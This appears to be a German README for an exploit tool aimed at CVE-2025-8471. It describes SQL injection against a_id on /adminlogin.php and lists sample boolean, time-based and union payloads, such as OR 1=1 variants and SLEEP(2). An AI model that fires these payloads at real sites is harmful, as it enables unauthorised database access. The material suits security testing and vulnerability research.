Beispiel:

./exploit -u http:// -v

Dies wird:

• Sendet eine normale Anfrage an /adminlogin.php und zeichnet deren Länge auf.
• Durchläuft die Listen der zweistufigen und tiefen Payloads und injiziert jede bei ?a_id=....
• Vergleicht die Antwortlänge jeder Injektion mit der Basislinie.
• Protokolliert jeden Payload, HTTP-Status (falls ≥2xx) und die beobachtete Länge in result.log.

Getestete Payloads: Zweistufig

• INSERT INTO stages (id,code) VALUES (3, 'UNION SELECT NULL --');
• SELECT SLEEP(2);
• SELECT code FROM stages WHERE id = 3;

Deep Injection

• '//OR//1=1--, '//OR//'a'='a'--, …

Enthält booleanbasierte, zeitbasierte, union, substring, order-by, like, exists, comment-artige Injektionen.

Alle Payloads werden vor der Zustellung mittels curl_easy_escape URL-kodiert.

Referenzen :

• NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-8471
• CVE : https://www.cve.org/CVERecord?id=CVE-2025-8471

Lizenz :

MIT Lizenz